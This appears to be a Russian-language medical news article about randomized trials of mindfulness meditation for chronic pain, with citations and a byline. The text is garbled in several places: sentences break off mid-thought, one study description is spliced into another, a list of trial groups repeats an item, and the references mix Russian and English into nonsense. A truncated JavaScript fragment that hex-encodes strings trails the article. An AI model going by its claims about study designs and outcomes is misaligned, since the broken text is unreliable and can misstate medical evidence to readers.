Резюме. Впервые действенность данного метода подтверждена в рамках рандомизированного плацебо-контролируемого испытания
Данный метод агрессивно рекламировался в США и Европе, в связи с чем обрел там довольно широкую популярность. Его разработчики, сотрудники Мичиганского университета, пошли дальше и объединили его с элементами когнитивной терапии и презентовали как новый метод — Mindfulness-Bases Cognitive Therapy.Согласно авторам, его использование способно облегчить симптомы депрессии. Тревоги.
К недостаткам его применения можно отнести высокую стоимость обучения и отсутствие доказательной базы, поскольку до последнего времени не было проведено ни одного рандомизированного контролируемого исследования (РКИ), подтверждающего его эффективность.Таким образом, его применение в медицинских целях для пациентов с психическими расстройствами или другими состояниями было ограничено высокой доступностью других подобных методов (например прогрессивной мышечной релаксации по Джекобсону), имеющих солидную доказательную базу. свободном доступе в сети интернет.Однако за последние пару месяцев опубликовали результаты сразу двух исследований, подтверждающие эффективность майндфулнесс-медитации.
Результаты первой работы в апреле этого года опубликовали датские ученые из Копенгагенского центра по функциональным заболеваниям, психическому здоровью и боли. Выборка в этом исследовании состояла из 109 пациентов с неспецифической хронической болью, случайным образом разделенных на две группы. Пациенты 1-й группы прошли курс майндфулнесс-медитации, а 2-й— не проходили никакой терапии. После курса лечения и через 6 месяцев лица экспериментальной группы набрали достоверно меньшее количество баллов по госпитальной шкале тревоги и депрессии, а также имели более хорошие показатели. жизни и боли. Недостатком данной работы является отсутствие плацебо-контроля.Первые доказательства того, что майндфулнесс-медитация как минимум более эффективна, чем плацебо, в отношении снижения интенсивности боли и Университета Северной Каролины в Шарлотте и Института медицины Вэйк Форрест (Wake Forest School of Medicine). В исследовании, результаты которого опубликованы в ноябре 2015 г. в «The Journal of Neuroscience», участвовали 75 пациентов, распределенных на четыре группы— майндфулнесс-медитации, плацебо-обусловливания, плацебо-обусловливания. В данном исследовании все когнитивные манипуляции (первые три из вышеперечисленных) достоверно снижали интенсивность боли в сравнении с контролем. При этом майндфулнесс-медитация была более эффективна, чем плацебо-обусловливание и ложная майндфулнесс-медитация.
Примечательно, что сканирование мозга этих пациентов с помощью нейровизуализационных методов показало более существенную активацию регионов мозга, отвечающих за когнитивную модуляцию боли, в группе майндфулнесс-терапии. По мнению авторов, это свидетельствует о том, что данный вид лечения действует по другим механизмам, чем плацебо.Протокол еще одного РКИ под названием «SENSE» в ноябре 2015 г. опубликовали сотрудники Университета Мельбурна (The University of Melbourne). В нем методику, основанную на принципах майндфулнесс-медитации и когнитивной терапии, применяли у подростков с высоким уровнем тревоги и проблемами сосна. Исследование началось в июне этого года, а в конце следующего года уже планируется публикация его результатов.
Таким образом, первые результаты демонстрируют, что данный вид лечения может помочь пациентам справиться с болевыми ощущениями. Такие результаты должны стимулировать ученых для дальнейшего изучения эффективности метода. Прежде всего, это касается его использования у пациентов с тревожными расстройствами, депрессивным эпизодом и посттравматическим стрессовым расстройством, поскольку, судя по опросам врачей и психологов, майндфулнесс-медитация чаще применяется ими именно при этих состояниях. В следующем году уже планируется публикация подобных РКИ.
- La Cour P., Peterson M. (2015) Эффекты mindfulness meditation on chronic pain: a randomized controlled trial. Pain Med., 16(4): 641-652.
- Waloszek J.M., Schwartz O., Simmons J.G. (2015) SENSE Study (Sleep and Education: learning New Skills Early): в обществе cognitive-behavioural therapy and mindfulness-based sleep intervention для prevention depression and improve cardiac health in adolescence. BMC Psychol., 3:39.
- Zeiden F., Emerson N.M., Farris S.R. et al. (2015) Mindfulness Meditation-Based Pain Relief Employs Different Neural Mechanisms Than Placebo and Sham Mindfulness Meditation-Induced Analgesia. The Journal of Neuroscience, 18 November [Epub. ahead of print].
Виталий Бесшейко
//o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=»»,o=0;o